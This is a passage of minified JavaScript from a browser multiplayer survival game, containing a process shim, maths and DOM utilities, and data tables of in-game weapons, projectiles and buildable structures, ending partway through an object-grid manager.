5702 n(8), n(2), t.codec = {
5703 preset: n(1).preset
5704 }
5705}, function (e, t) {
5706 var n, i, r = e.exports = {};
5707
5708 function s() {
5709 throw new Error("setTimeout has not been defined")
5710 }
5711
5712 function a() {
5713 throw new Error("clearTimeout has not been defined")
5714 }
5715
5716 function o(e) {
5717 if (n === setTimeout) return setTimeout(e, 0);
5718 if ((n === s || !n) && setTimeout) return n = setTimeout, setTimeout(e, 0);
5719 try {
5720 return n(e, 0)
5721 } catch (t) {
5722 try {
5723 return n.call(null, e, 0)
5724 } catch (t) {
5725 return n.call(this, e, 0)
5726 }
5727 }
5728 }! function () {
5729 try {
5730 n = "function" == typeof setTimeout ? setTimeout : s
5731 } catch (e) {
5732 n = s
5733 }
5734 try {
5735 i = "function" == typeof clearTimeout ? clearTimeout : a
5736 } catch (e) {
5737 i = a
5738 }
5739 }();
5740 var c, l = [],
5741 h = !1,
5742 u = -1;
5743
5744 function f() {
5745 h && c && (h = !1, c.length ? l = c.concat(l) : u = -1, l.length && d())
5746 }
5747
5748 function d() {
5749 if (!h) {
5750 var e = o(f);
5751 h = !0;
5752 for (var t = l.length; t;) {
5753 for (c = l, l = []; ++u < t;) c && c[u].run();
5754 u = -1, t = l.length
5755 }
5756 c = null, h = !1,
5757 function (e) {
5758 if (i === clearTimeout) return clearTimeout(e);
5759 if ((i === a || !i) && clearTimeout) return i = clearTimeout, clearTimeout(e);
5760 try {
5761 i(e)
5762 } catch (t) {
5763 try {
5764 return i.call(null, e)
5765 } catch (t) {
5766 return i.call(this, e)
5767 }
5768 }
5769 }(e)
5770 }
5771 }
5772
5773 function p(e, t) {
5774 this.fun = e, this.array = t
5775 }
5776
5777 function g() {}
5778 r.nextTick = function (e) {
5779 var t = new Array(arguments.length - 1);
5780 if (arguments.length > 1)
5781 for (var n = 1; n < arguments.length; n++) t[n - 1] = arguments[n];
5782 l.push(new p(e, t)), 1 !== l.length || h || o(d)
5783 }, p.prototype.run = function () {
5784 this.fun.apply(null, this.array)
5785 }, r.title = "browser", r.browser = !0, r.env = {}, r.argv = [], r.version = "", r.versions = {}, r.on = g, r.addListener = g, r.once = g, r.off = g, r.removeListener = g, r.removeAllListeners = g, r.emit = g, r.prependListener = g, r.prependOnceListener = g, r.listeners = function (e) {
5786 return []
5787 }, r.binding = function (e) {
5788 throw new Error("process.binding is not supported")
5789 }, r.cwd = function () {
5790 return "/"
5791 }, r.chdir = function (e) {
5792 throw new Error("process.chdir is not supported")
5793 }, r.umask = function () {
5794 return 0
5795 }
5796}, function (e, t) {
5797 var n = Math.abs,
5798 i = (Math.cos, Math.sin, Math.pow, Math.sqrt),
5799 r = (n = Math.abs, Math.atan2),
5800 s = Math.PI;
5801 e.exports.randInt = function (e, t) {
5802 return Math.floor(Math.random() * (t - e + 1)) + e
5803 }, e.exports.randFloat = function (e, t) {
5804 return Math.random() * (t - e + 1) + e
5805 }, e.exports.lerp = function (e, t, n) {
5806 return e + (t - e) * n
5807 }, e.exports.decel = function (e, t) {
5808 return e > 0 ? e = Math.max(0, e - t) : e < 0 && (e = Math.min(0, e + t)), e
5809 }, e.exports.getDistance = function (e, t, n, r) {
5810 return i((n -= e) * n + (r -= t) * r)
5811 }, e.exports.getDirection = function (e, t, n, i) {
5812 return r(t - i, e - n)
5813 }, e.exports.getAngleDist = function (e, t) {
5814 var i = n(t - e) % (2 * s);
5815 return i > s ? 2 * s - i : i
5816 }, e.exports.isNumber = function (e) {
5817 return "number" == typeof e && !isNaN(e) && isFinite(e)
5818 }, e.exports.isString = function (e) {
5819 return e && "string" == typeof e
5820 }, e.exports.kFormat = function (e) {
5821 return e > 999 ? (e / 1e3).toFixed(1) + "k" : e
5822 }, e.exports.capitalizeFirst = function (e) {
5823 return e.charAt(0).toUpperCase() + e.slice(1)
5824 }, e.exports.fixTo = function (e, t) {
5825 return parseFloat(e.toFixed(t))
5826 }, e.exports.sortByPoints = function (e, t) {
5827 return parseFloat(t.points) - parseFloat(e.points)
5828 }, e.exports.lineInRect = function (e, t, n, i, r, s, a, o) {
5829 var c = r,
5830 l = a;
5831 if (r > a && (c = a, l = r), l > n && (l = n), c < e && (c = e), c > l) return !1;
5832 var h = s,
5833 u = o,
5834 f = a - r;
5835 if (Math.abs(f) > 1e-7) {
5836 var d = (o - s) / f,
5837 p = s - d * r;
5838 h = d * c + p, u = d * l + p
5839 }
5840 if (h > u) {
5841 var g = u;
5842 u = h, h = g
5843 }
5844 return u > i && (u = i), h < t && (h = t), !(h > u)
5845 }, e.exports.containsPoint = function (e, t, n) {
5846 var i = e.getBoundingClientRect(),
5847 r = i.left + window.scrollX,
5848 s = i.top + window.scrollY,
5849 a = i.width,
5850 o = i.height;
5851 return t > r && t < r + a && n > s && n < s + o
5852 }, e.exports.mousifyTouchEvent = function (e) {
5853 var t = e.changedTouches[0];
5854 e.screenX = t.screenX, e.screenY = t.screenY, e.clientX = t.clientX, e.clientY = t.clientY, e.pageX = t.pageX, e.pageY = t.pageY
5855 }, e.exports.hookTouchEvents = function (t, n) {
5856 var i = !n,
5857 r = !1;
5858
5859 function s(n) {
5860 e.exports.mousifyTouchEvent(n), window.setUsingTouch(!0), i && (n.preventDefault(), n.stopPropagation()), r && (t.onclick && t.onclick(n), t.onmouseout && t.onmouseout(n), r = !1)
5861 }
5862 t.addEventListener("touchstart", e.exports.checkTrusted((function (n) {
5863 e.exports.mousifyTouchEvent(n), window.setUsingTouch(!0), i && (n.preventDefault(), n.stopPropagation()), t.onmouseover && t.onmouseover(n), r = !0
5864 })), !1), t.addEventListener("touchmove", e.exports.checkTrusted((function (n) {
5865 e.exports.mousifyTouchEvent(n), window.setUsingTouch(!0), i && (n.preventDefault(), n.stopPropagation()), e.exports.containsPoint(t, n.pageX, n.pageY) ? r || (t.onmouseover && t.onmouseover(n), r = !0) : r && (t.onmouseout && t.onmouseout(n), r = !1)
5866 })), !1), t.addEventListener("touchend", e.exports.checkTrusted(s), !1), t.addEventListener("touchcancel", e.exports.checkTrusted(s), !1), t.addEventListener("touchleave", e.exports.checkTrusted(s), !1)
5867 }, e.exports.removeAllChildren = function (e) {
5868 for (; e.hasChildNodes();) e.removeChild(e.lastChild)
5869 }, e.exports.generateElement = function (t) {
5870 var n = document.createElement(t.tag || "div");
5871
5872 function i(e, i) {
5873 t[e] && (n[i] = t[e])
5874 }
5875 for (var r in i("text", "textContent"), i("html", "innerHTML"), i("class", "className"), t) {
5876 switch (r) {
5877 case "tag":
5878 case "text":
5879 case "html":
5880 case "class":
5881 case "style":
5882 case "hookTouch":
5883 case "parent":
5884 case "children":
5885 continue
5886 }
5887 n[r] = t[r]
5888 }
5889 if (n.onclick && (n.onclick = e.exports.checkTrusted(n.onclick)), n.onmouseover && (n.onmouseover = e.exports.checkTrusted(n.onmouseover)), n.onmouseout && (n.onmouseout = e.exports.checkTrusted(n.onmouseout)), t.style && (n.style.cssText = t.style), t.hookTouch && e.exports.hookTouchEvents(n), t.parent && t.parent.appendChild(n), t.children)
5890 for (var s = 0; s < t.children.length; s++) n.appendChild(t.children[s]);
5891 return n
5892 }, e.exports.eventIsTrusted = function (e) {
5893 return !e || "boolean" != typeof e.isTrusted || e.isTrusted
5894 }, e.exports.checkTrusted = function (t) {
5895 return function (n) {
5896 n && n instanceof Event && e.exports.eventIsTrusted(n) && t(n)
5897 }
5898 }, e.exports.randomString = function (e) {
5899 for (var t = "", n = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789", i = 0; i < e; i++) t += n.charAt(Math.floor(Math.random() * n.length));
5900 return t
5901 }, e.exports.countInArray = function (e, t) {
5902 for (var n = 0, i = 0; i < e.length; i++) e[i] === t && n++;
5903 return n
5904 }
5905}, function (e, t) {
5906 e.exports.AnimText = function () {
5907 this.init = function (e, t, n, i, r, s, a) {
5908 this.x = e, this.y = t, this.color = a, this.scale = n, this.startScale = this.scale, this.maxScale = 1.5 * n, this.scaleSpeed = .7, this.speed = i, this.life = r, this.text = s
5909 }, this.update = function (e) {
5910 this.life && (this.life -= e, this.y -= this.speed * e, this.scale += this.scaleSpeed * e, this.scale >= this.maxScale ? (this.scale = this.maxScale, this.scaleSpeed *= -1) : this.scale <= this.startScale && (this.scale = this.startScale, this.scaleSpeed = 0), this.life <= 0 && (this.life = 0))
5911 }, this.render = function (e, t, n) {
5912 e.fillStyle = this.color, e.font = this.scale + "px Hammersmith One", e.fillText(this.text, this.x - t, this.y - n)
5913 }
5914 }, e.exports.TextManager = function () {
5915 this.texts = [], this.update = function (e, t, n, i) {
5916 t.textBaseline = "middle", t.textAlign = "center";
5917 for (var r = 0; r < this.texts.length; ++r) this.texts[r].life && (this.texts[r].update(e), this.texts[r].render(t, n, i))
5918 }, this.showText = function (t, n, i, r, s, a, o) {
5919 for (var c, l = 0; l < this.texts.length; ++l)
5920 if (!this.texts[l].life) {
5921 c = this.texts[l];
5922 break
5923 } c || (c = new e.exports.AnimText, this.texts.push(c)), c.init(t, n, i, r, s, a, o)
5924 }
5925 }
5926}, function (e, t) {
5927 e.exports = function (e) {
5928 this.sid = e, this.init = function (e, t, n, i, r, s, a) {
5929 s = s || {}, this.sentTo = {}, this.gridLocations = [], this.active = !0, this.doUpdate = s.doUpdate, this.x = e, this.y = t, this.dir = n, this.xWiggle = 0, this.yWiggle = 0, this.scale = i, this.type = r, this.id = s.id, this.owner = a, this.name = s.name, this.isItem = null != this.id, this.group = s.group, this.health = s.health, this.layer = 2, null != this.group ? this.layer = this.group.layer : 0 == this.type ? this.layer = 3 : 2 == this.type ? this.layer = 0 : 4 == this.type && (this.layer = -1), this.colDiv = s.colDiv || 1, this.blocker = s.blocker, this.ignoreCollision = s.ignoreCollision, this.dontGather = s.dontGather, this.hideFromEnemy = s.hideFromEnemy, this.friction = s.friction, this.projDmg = s.projDmg, this.dmg = s.dmg, this.pDmg = s.pDmg, this.pps = s.pps, this.zIndex = s.zIndex || 0, this.turnSpeed = s.turnSpeed, this.req = s.req, this.trap = s.trap, this.healCol = s.healCol, this.teleport = s.teleport, this.boostSpeed = s.boostSpeed, this.projectile = s.projectile, this.shootRange = s.shootRange, this.shootRate = s.shootRate, this.shootCount = this.shootRate, this.spawnPoint = s.spawnPoint
5930 }, this.changeHealth = function (e, t) {
5931 return this.health += e, this.health <= 0
5932 }, this.getScale = function (e, t) {
5933 return e = e || 1, this.scale * (this.isItem || 2 == this.type || 3 == this.type || 4 == this.type ? 1 : .6 * e) * (t ? 1 : this.colDiv)
5934 }, this.visibleToPlayer = function (e) {
5935 return !this.hideFromEnemy || this.owner && (this.owner == e || this.owner.team && e.team == this.owner.team)
5936 }, this.update = function (e) {
5937 this.active && (this.xWiggle && (this.xWiggle *= Math.pow(.99, e)), this.yWiggle && (this.yWiggle *= Math.pow(.99, e)), this.turnSpeed && (this.dir += this.turnSpeed * e))
5938 }
5939 }
5940}, function (e, t) {
5941 e.exports.groups = [{
5942 id: 0,
5943 name: "food",
5944 layer: 0
5945 }, {
5946 id: 1,
5947 name: "walls",
5948 place: !0,
5949 limit: 30,
5950 layer: 0
5951 }, {
5952 id: 2,
5953 name: "spikes",
5954 place: !0,
5955 limit: 15,
5956 layer: 0
5957 }, {
5958 id: 3,
5959 name: "mill",
5960 place: !0,
5961 limit: 7,
5962 layer: 1
5963 }, {
5964 id: 4,
5965 name: "mine",
5966 place: !0,
5967 limit: 1,
5968 layer: 0
5969 }, {
5970 id: 5,
5971 name: "trap",
5972 place: !0,
5973 limit: 6,
5974 layer: -1
5975 }, {
5976 id: 6,
5977 name: "booster",
5978 place: !0,
5979 limit: 12,
5980 layer: -1
5981 }, {
5982 id: 7,
5983 name: "turret",
5984 place: !0,
5985 limit: 2,
5986 layer: 1
5987 }, {
5988 id: 8,
5989 name: "watchtower",
5990 place: !0,
5991 limit: 12,
5992 layer: 1
5993 }, {
5994 id: 9,
5995 name: "buff",
5996 place: !0,
5997 limit: 4,
5998 layer: -1
5999 }, {
6000 id: 10,
6001 name: "spawn",
6002 place: !0,
6003 limit: 1,
6004 layer: -1
6005 }, {
6006 id: 11,
6007 name: "sapling",
6008 place: !0,
6009 limit: 2,
6010 layer: 0
6011 }, {
6012 id: 12,
6013 name: "blocker",
6014 place: !0,
6015 limit: 3,
6016 layer: -1
6017 }, {
6018 id: 13,
6019 name: "teleporter",
6020 place: !0,
6021 limit: 2,
6022 layer: -1
6023 }], t.projectiles = [{
6024 indx: 0,
6025 layer: 0,
6026 src: "arrow_1",
6027 dmg: 25,
6028 speed: 1.6,
6029 scale: 103,
6030 range: 1e3
6031 }, {
6032 indx: 1,
6033 layer: 1,
6034 dmg: 25,
6035 scale: 20
6036 }, {
6037 indx: 0,
6038 layer: 0,
6039 src: "arrow_1",
6040 dmg: 35,
6041 speed: 2.5,
6042 scale: 103,
6043 range: 1200
6044 }, {
6045 indx: 0,
6046 layer: 0,
6047 src: "arrow_1",
6048 dmg: 30,
6049 speed: 2,
6050 scale: 103,
6051 range: 1200
6052 }, {
6053 indx: 1,
6054 layer: 1,
6055 dmg: 16,
6056 scale: 20
6057 }, {
6058 indx: 0,
6059 layer: 0,
6060 src: "bullet_1",
6061 dmg: 50,
6062 speed: 3.6,
6063 scale: 160,
6064 range: 1400
6065 }], t.weapons = [{
6066 id: 0,
6067 type: 0,
6068 name: "tool hammer",
6069 desc: "tool for gathering all resources",
6070 src: "hammer_1",
6071 length: 140,
6072 width: 140,
6073 xOff: -3,
6074 yOff: 18,
6075 dmg: 25,
6076 range: 65,
6077 gather: 1,
6078 speed: 300
6079 }, {
6080 id: 1,
6081 type: 0,
6082 age: 2,
6083 name: "hand axe",
6084 desc: "gathers resources at a higher rate",
6085 src: "axe_1",
6086 length: 140,
6087 width: 140,
6088 xOff: 3,
6089 yOff: 24,
6090 dmg: 30,
6091 spdMult: 1,
6092 range: 70,
6093 gather: 2,
6094 speed: 400
6095 }, {
6096 id: 2,
6097 type: 0,
6098 age: 8,
6099 name: "great axe",
6100 desc: "deal more damage and gather more resources",
6101 src: "great_axe_1",
6102 length: 140,
6103 width: 140,
6104 xOff: -8,
6105 yOff: 25,
6106 dmg: 35,
6107 spdMult: 1,
6108 range: 75,
6109 gather: 4,
6110 speed: 400
6111 }, {
6112 id: 3,
6113 type: 0,
6114 age: 2,
6115 name: "short sword",
6116 desc: "increased attack power but slower move speed",
6117 src: "sword_1",
6118 iPad: 1.3,
6119 length: 130,
6120 width: 210,
6121 xOff: -8,
6122 yOff: 46,
6123 dmg: 35,
6124 spdMult: .85,
6125 range: 110,
6126 gather: 1,
6127 speed: 300
6128 }, {
6129 id: 4,
6130 type: 0,
6131 age: 8,
6132 name: "katana",
6133 desc: "greater range and damage",
6134 src: "samurai_1",
6135 iPad: 1.3,
6136 length: 130,
6137 width: 210,
6138 xOff: -8,
6139 yOff: 59,
6140 dmg: 40,
6141 spdMult: .8,
6142 range: 118,
6143 gather: 1,
6144 speed: 300
6145 }, {
6146 id: 5,
6147 type: 0,
6148 age: 2,
6149 name: "polearm",
6150 desc: "long range melee weapon",
6151 src: "spear_1",
6152 iPad: 1.3,
6153 length: 130,
6154 width: 210,
6155 xOff: -8,
6156 yOff: 53,
6157 dmg: 45,
6158 knock: .2,
6159 spdMult: .82,
6160 range: 142,
6161 gather: 1,
6162 speed: 700
6163 }, {
6164
6165 id: 6,
6166 type: 0,
6167 age: 2,
6168 name: "bat",
6169 desc: "fast long range melee weapon",
6170 src: "bat_1",
6171 iPad: 1.3,
6172 length: 110,
6173 width: 180,
6174 xOff: -8,
6175 yOff: 53,
6176 dmg: 20,
6177 knock: .7,
6178 range: 110,
6179 gather: 1,
6180 speed: 300
6181 }, {
6182 id: 7,
6183 type: 0,
6184 age: 2,
6185 name: "daggers",
6186 desc: "really fast short range weapon",
6187 src: "dagger_1",
6188 iPad: .8,
6189 length: 110,
6190 width: 110,
6191 xOff: 18,
6192 yOff: 0,
6193 dmg: 20,
6194 knock: .1,
6195 range: 65,
6196 gather: 1,
6197 hitSlow: .1,
6198 spdMult: 1.13,
6199 speed: 100
6200 }, {
6201 id: 8,
6202 type: 0,
6203 age: 2,
6204 name: "stick",
6205 desc: "great for gathering but very weak",
6206 src: "stick_1",
6207 length: 140,
6208 width: 140,
6209 xOff: 3,
6210 yOff: 24,
6211 dmg: 1,
6212 spdMult: 1,
6213 range: 70,
6214 gather: 7,
6215 speed: 400
6216 }, {
6217 id: 9,
6218 type: 1,
6219 age: 6,
6220 name: "hunting bow",
6221 desc: "bow used for ranged combat and hunting",
6222 src: "bow_1",
6223 req: ["wood", 4],
6224 length: 120,
6225 width: 120,
6226 xOff: -6,
6227 yOff: 0,
6228 projectile: 0,
6229 spdMult: .75,
6230 speed: 600
6231 }, {
6232 id: 10,
6233 type: 1,
6234 age: 6,
6235 name: "great hammer",
6236 desc: "hammer used for destroying structures",
6237 src: "great_hammer_1",
6238 length: 140,
6239 width: 140,
6240 xOff: -9,
6241 yOff: 25,
6242 dmg: 10,
6243 spdMult: .88,
6244 range: 75,
6245 sDmg: 7.5,
6246 gather: 1,
6247 speed: 400
6248 }, {
6249 id: 11,
6250 type: 1,
6251 age: 6,
6252 name: "wooden shield",
6253 desc: "blocks projectiles and reduces melee damage",
6254 src: "shield_1",
6255 length: 120,
6256 width: 120,
6257 shield: .2,
6258 xOff: 6,
6259 yOff: 0,
6260 spdMult: .7
6261 }, {
6262 id: 12,
6263 type: 1,
6264 age: 8,
6265 name: "crossbow",
6266 desc: "deals more damage and has greater range",
6267 src: "crossbow_1",
6268 req: ["wood", 5],
6269 aboveHand: !0,
6270 armS: .75,
6271 length: 120,
6272 width: 120,
6273 xOff: -4,
6274 yOff: 0,
6275 projectile: 2,
6276 spdMult: .7,
6277 speed: 700
6278 }, {
6279 id: 13,
6280 type: 1,
6281 age: 9,
6282 name: "repeater crossbow",
6283 desc: "high firerate crossbow with reduced damage",
6284 src: "crossbow_2",
6285 req: ["wood", 10],
6286 aboveHand: !0,
6287 armS: .75,
6288 length: 120,
6289 width: 120,
6290 xOff: -4,
6291 yOff: 0,
6292 projectile: 3,
6293 spdMult: .7,
6294 speed: 230
6295 }, {
6296 id: 14,
6297 type: 1,
6298 age: 6,
6299 name: "mc grabby",
6300 desc: "steals resources from enemies",
6301 src: "grab_1",
6302 length: 130,
6303 width: 210,
6304 xOff: -8,
6305 yOff: 53,
6306 dmg: 0,
6307 steal: 250,
6308 knock: .2,
6309 spdMult: 1.05,
6310 range: 125,
6311 gather: 0,
6312 speed: 700
6313 }, {
6314 id: 15,
6315 type: 1,
6316 age: 9,
6317 name: "musket",
6318 desc: "slow firerate but high damage and range",
6319 src: "musket_1",
6320 req: ["stone", 10],
6321 aboveHand: !0,
6322 rec: .35,
6323 armS: .6,
6324 hndS: .3,
6325 hndD: 1.6,
6326 length: 205,
6327 width: 205,
6328 xOff: 25,
6329 yOff: 0,
6330 projectile: 5,
6331 hideProjectile: !0,
6332 spdMult: .6,
6333 speed: 1500
6334 }], e.exports.list = [{
6335 group: e.exports.groups[0],
6336 name: "apple",
6337 desc: "restores 20 health when consumed",
6338 req: ["food", 10],
6339 consume: function (e) {
6340 return e.changeHealth(20, e)
6341 },
6342 scale: 22,
6343 holdOffset: 15
6344 }, {
6345 age: 3,
6346 group: e.exports.groups[0],
6347 name: "cookie",
6348 desc: "restores 40 health when consumed",
6349 req: ["food", 15],
6350 consume: function (e) {
6351 return e.changeHealth(40, e)
6352 },
6353 scale: 27,
6354 holdOffset: 15
6355 }, {
6356 age: 7,
6357 group: e.exports.groups[0],
6358 name: "cheese",
6359 desc: "restores 30 health and another 50 over 5 seconds",
6360 req: ["food", 25],
6361 consume: function (e) {
6362 return !!(e.changeHealth(30, e) || e.health < 100) && (e.dmgOverTime.dmg = -10, e.dmgOverTime.doer = e, e.dmgOverTime.time = 5, !0)
6363 },
6364 scale: 27,
6365 holdOffset: 15
6366 }, {
6367 group: e.exports.groups[1],
6368 name: "wood wall",
6369 desc: "provides protection for your village",
6370 req: ["wood", 10],
6371 projDmg: !0,
6372 health: 380,
6373 scale: 50,
6374 holdOffset: 20,
6375 placeOffset: -5
6376 }, {
6377 age: 3,
6378 group: e.exports.groups[1],
6379 name: "stone wall",
6380 desc: "provides improved protection for your village",
6381 req: ["stone", 25],
6382 health: 900,
6383 scale: 50,
6384 holdOffset: 20,
6385 placeOffset: -5
6386 }, {
6387 age: 7,
6388 group: e.exports.groups[1],
6389 name: "castle wall",
6390 desc: "provides powerful protection for your village",
6391 req: ["stone", 35],
6392 health: 1500,
6393 scale: 52,
6394 holdOffset: 20,
6395 placeOffset: -5
6396 }, {
6397 group: e.exports.groups[2],
6398 name: "spikes",
6399 desc: "damages enemies when they touch them",
6400 req: ["wood", 20, "stone", 5],
6401 health: 400,
6402 dmg: 20,
6403 scale: 49,
6404 spritePadding: -23,
6405 holdOffset: 8,
6406 placeOffset: -5
6407 }, {
6408 age: 5,
6409 group: e.exports.groups[2],
6410 name: "greater spikes",
6411 desc: "damages enemies when they touch them",
6412 req: ["wood", 30, "stone", 10],
6413 health: 500,
6414 dmg: 35,
6415 scale: 52,
6416 spritePadding: -23,
6417 holdOffset: 8,
6418 placeOffset: -5
6419 }, {
6420 age: 9,
6421 group: e.exports.groups[2],
6422 name: "poison spikes",
6423 desc: "poisons enemies when they touch them",
6424 req: ["wood", 35, "stone", 15],
6425 health: 600,
6426 dmg: 30,
6427 pDmg: 5,
6428 scale: 52,
6429 spritePadding: -23,
6430 holdOffset: 8,
6431 placeOffset: -5
6432 }, {
6433 age: 9,
6434 group: e.exports.groups[2],
6435 name: "spinning spikes",
6436 desc: "damages enemies when they touch them",
6437 req: ["wood", 30, "stone", 20],
6438 health: 500,
6439 dmg: 45,
6440 turnSpeed: .003,
6441 scale: 52,
6442 spritePadding: -23,
6443 holdOffset: 8,
6444 placeOffset: -5
6445 }, {
6446 group: e.exports.groups[3],
6447 name: "windmill",
6448 desc: "generates gold over time",
6449 req: ["wood", 50, "stone", 10],
6450 health: 400,
6451 pps: 1,
6452 turnSpeed: .0016,
6453 spritePadding: 25,
6454 iconLineMult: 12,
6455 scale: 45,
6456 holdOffset: 20,
6457 placeOffset: 5
6458 }, {
6459 age: 5,
6460 group: e.exports.groups[3],
6461 name: "faster windmill",
6462 desc: "generates more gold over time",
6463 req: ["wood", 60, "stone", 20],
6464 health: 500,
6465 pps: 1.5,
6466 turnSpeed: .0025,
6467 spritePadding: 25,
6468 iconLineMult: 12,
6469 scale: 47,
6470 holdOffset: 20,
6471 placeOffset: 5
6472 }, {
6473 age: 8,
6474 group: e.exports.groups[3],
6475 name: "power mill",
6476 desc: "generates more gold over time",
6477 req: ["wood", 100, "stone", 50],
6478 health: 800,
6479 pps: 2,
6480 turnSpeed: .005,
6481 spritePadding: 25,
6482 iconLineMult: 12,
6483 scale: 47,
6484 holdOffset: 20,
6485 placeOffset: 5
6486 }, {
6487 age: 5,
6488 group: e.exports.groups[4],
6489 type: 2,
6490 name: "mine",
6491 desc: "allows you to mine stone",
6492 req: ["wood", 20, "stone", 100],
6493 iconLineMult: 12,
6494 scale: 65,
6495 holdOffset: 20,
6496 placeOffset: 0
6497 }, {
6498 age: 5,
6499 group: e.exports.groups[11],
6500 type: 0,
6501 name: "sapling",
6502 desc: "allows you to farm wood",
6503 req: ["wood", 150],
6504 iconLineMult: 12,
6505 colDiv: .5,
6506 scale: 110,
6507 holdOffset: 50,
6508 placeOffset: -15
6509 }, {
6510 age: 4,
6511 group: e.exports.groups[5],
6512 name: "pit trap",
6513 desc: "pit that traps enemies if they walk over it",
6514 req: ["wood", 30, "stone", 30],
6515 trap: !0,
6516 ignoreCollision: !0,
6517 hideFromEnemy: !0,
6518 health: 500,
6519 colDiv: .2,
6520 scale: 50,
6521 holdOffset: 20,
6522 placeOffset: -5
6523 }, {
6524 age: 4,
6525 group: e.exports.groups[6],
6526 name: "boost pad",
6527 desc: "provides boost when stepped on",
6528 req: ["stone", 20, "wood", 5],
6529 ignoreCollision: !0,
6530 boostSpeed: 1.5,
6531 health: 150,
6532 colDiv: .7,
6533 scale: 45,
6534 holdOffset: 20,
6535 placeOffset: -5
6536 }, {
6537 age: 7,
6538 group: e.exports.groups[7],
6539 doUpdate: !0,
6540 name: "turret",
6541 desc: "defensive structure that shoots at enemies",
6542 req: ["wood", 200, "stone", 150],
6543 health: 800,
6544 projectile: 1,
6545 shootRange: 700,
6546 shootRate: 2200,
6547 scale: 43,
6548 holdOffset: 20,
6549 placeOffset: -5
6550 }, {
6551 age: 7,
6552 group: e.exports.groups[8],
6553 name: "platform",
6554 desc: "platform to shoot over walls and cross over water",
6555 req: ["wood", 20],
6556 ignoreCollision: !0,
6557 zIndex: 1,
6558 health: 300,
6559 scale: 43,
6560 holdOffset: 20,
6561 placeOffset: -5
6562 }, {
6563 age: 7,
6564 group: e.exports.groups[9],
6565 name: "healing pad",
6566 desc: "standing on it will slowly heal you",
6567 req: ["wood", 30, "food", 10],
6568 ignoreCollision: !0,
6569 healCol: 15,
6570 health: 400,
6571 colDiv: .7,
6572 scale: 45,
6573 holdOffset: 20,
6574 placeOffset: -5
6575 }, {
6576 age: 9,
6577 group: e.exports.groups[10],
6578 name: "spawn pad",
6579 desc: "you will spawn here when you die but it will dissapear",
6580 req: ["wood", 100, "stone", 100],
6581 health: 400,
6582 ignoreCollision: !0,
6583 spawnPoint: !0,
6584 scale: 45,
6585 holdOffset: 20,
6586 placeOffset: -5
6587 }, {
6588 age: 7,
6589 group: e.exports.groups[12],
6590 name: "blocker",
6591 desc: "blocks building in radius",
6592 req: ["wood", 30, "stone", 25],
6593 ignoreCollision: !0,
6594 blocker: 300,
6595 health: 400,
6596 colDiv: .7,
6597 scale: 45,
6598 holdOffset: 20,
6599 placeOffset: -5
6600 }, {
6601 age: 7,
6602 group: e.exports.groups[13],
6603 name: "teleporter",
6604 desc: "teleports you to a random point on the map",
6605 req: ["wood", 60, "stone", 60],
6606 ignoreCollision: !0,
6607 teleport: !0,
6608 health: 200,
6609 colDiv: .7,
6610 scale: 45,
6611 holdOffset: 20,
6612 placeOffset: -5
6613 }];
6614 for (var n = 0; n < e.exports.list.length; ++n) e.exports.list[n].id = n, e.exports.list[n].pre && (e.exports.list[n].pre = n - e.exports.list[n].pre)
6615}, function (e, t) {
6616 e.exports = {}
6617}, function (e, t) {
6618 var n = Math.floor,
6619 i = Math.abs,
6620 r = Math.cos,
6621 s = Math.sin,
6622 a = (Math.pow, Math.sqrt);
6623 e.exports = function (e, t, o, c, l, h) {
6624 var u, f;
6625 this.objects = t, this.grids = {}, this.updateObjects = [];
6626 var d = c.mapScale / c.colGrid;
6627 this.setObjectGrids = function (e) {
6628 for (var t = Math.min(c.mapScale, Math.max(0, e.x)), n = Math.min(c.mapScale, Math.max(0, e.y)), i = 0; i < c.colGrid; ++i) {
6629 u = i * d;
6630 for (var r = 0; r < c.colGrid; ++r) f = r * d, t + e.scale >= u && t - e.scale <= u + d && n + e.scale >= f && n - e.scale <= f + d && (this.grids[i + "_" + r] || (this.grids[i + "_" + r] = []), this.grids[i + "_" + r].push(e), e.gridLocations.push(i + "_" + r))
6631 }
6632 }, this.removeObjGrid = function (e) {
6633 for (var t, n = 0; n < e.gridLocations.length; ++n)(t = this.grids[e.gridLocations[n]].indexOf(e)) >= 0 && this.grids[e.gridLocations[n]].splice(t, 1)
6634 }, this.disableObj = function (e) {
6635 if (e.active = !1, h) {
6636 e.owner && e.pps && (e.owner.pps -= e.pps), this.removeObjGrid(e);
6637 var t = this.updateObjects.indexOf(e);
6638 t >= 0 && this.updateObjects.splice(t, 1)
6639 }
6640 }, this.hitObj = function (e, t) {
6641 for (var n = 0; n < l.length; ++n) l[n].active && (e.sentTo[l[n].id] && (e.active ? l[n].canSee(e) && h.send(l[n].id, "8", o.fixTo(t, 1), e.sid) : h.send(l[n].id, "12", e.sid)), e.active || e.owner != l[n] || l[n].changeItemCount(e.group.id, -1))
6642 };
6643 var p, g, m = [];
6644 this.getGridArrays = function (e, t, i) {
6645 u = n(e / d), f = n(t / d), m.length = 0;
6646 try {
6647 this.grids[u + "_" + f] && m.push(this.grids[u + "_" + f]), e + i >= (u + 1) * d && ((p = this.grids[u + 1 + "_" + f]) && m.push(p), f && t - i <= f * d ? (p = this.grids[u + 1 + "_" + (f - 1)]) && m.push(p) : t + i >= (f + 1) * d && (p = this.grids[u + 1 + "_" + (f + 1)]) && m.push(p)), u && e - i <= u * d && ((p = this.grids[u - 1 + "_" + f]) && m.push(p), f && t - i <= f * d ? (p = this.grids[u - 1 + "_" + (f - 1)]) && m.push(p) : t + i >= (f + 1) * d && (p = this.grids[u - 1 + "_" + (f + 1)]) && m.push(p)), t + i >= (f + 1) * d && (p = this.grids[u + "_" + (f + 1)]) && m.push(p), f && t - i <= f * d && (p = this.grids[u + "_" + (f - 1)]) && m.push(p)
6648 } catch (e) {}
6649 return m
6650 }, this.add = function (n, i, r, s, a, o, c, l, u) {
6651 g = null;
6652 for (var f = 0; f < t.length; ++f)
6653 if (t[f].sid == n) {
6654 g = t[f];
6655 break
6656 } if (!g)
6657 for (f = 0; f < t.length; ++f)
6658 if (!t[f].active) {
6659 g = t[f];
6660 break
6661 } g || (g = new e(n), t.push(g)), l && (g.sid = n), g.init(i, r, s, a, o, c, u), h && (this.setObjectGrids(g), g.doUpdate && this.updateObjects.push(g))
6662 }, this.disableBySid = function (e) {
6663 for (var n = 0; n < t.length; ++n)
6664 if (t[n].sid == e) {
6665 this.disableObj(t[n]);
6666 break
6667 }
6668 }, this.removeAllItems = function (e, n) {
6669 for (var i = 0; i < t.length; ++i) t[i].active && t[i].owner && t[i].owner.sid == e && this.disableObj(t[i]);
6670 n && n.broadcast("13", e)
